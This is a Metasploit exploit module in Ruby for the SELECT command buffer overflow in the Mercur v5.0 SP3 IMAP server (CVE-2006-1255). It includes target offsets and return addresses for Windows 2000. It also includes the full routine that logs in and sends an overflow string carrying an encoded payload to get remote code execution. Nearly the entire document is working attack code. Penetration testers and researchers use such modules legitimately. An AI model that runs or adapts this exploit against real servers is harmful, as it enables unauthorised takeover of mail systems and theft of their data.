Mercur 5.0 - IMAP SP3 SELECT Buffer Overflow

                                                ##
# $Id: mercur_imap_select_overflow.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',
			'Description'    => %q{
					Mercur v5.0 IMAP server is prone to a remotely exploitable
				stack-based buffer overflow vulnerability. This issue is due
				to a failure of the application to properly bounds check
				user-supplied data prior to copying it to a fixed size memory buffer.
				Credit to Tim Taylor for discover the vulnerability.
			},
			'Author'         => [ 'Jacopo Cervini <acaro [at] jervus.it>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2006-1255' ],
					[ 'OSVDB', '23950' ],
					[ 'BID', '17138' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 Server SP4 English',  { 'Offset' => 126, 'Ret' => 0x13e50b42 }],
					['Windows 2000 Pro SP1 English',     { 'Offset' => 127, 'Ret' => 0x1446e242 }],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 17 2006'))

	end

	def exploit
		sploit =  "a001 select " + "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20"
		sploit << rand_text_alpha_upper(94) + rand_text_alpha_upper(target['Offset'])
		sploit << [target.ret].pack('V') + "\r\n" + rand_text_alpha_upper(8)
		sploit << payload.encoded + rand_text_alpha_upper(453)

		info = connect_login

		if (info == true)
			print_status("Trying target #{target.name} using heap address at 0x%.8x..." % target.ret)
			sock.put(sploit + "\r\n")
		else
			print_status("Not falling through with exploit")
		end

		handler
		disconnect
	end
end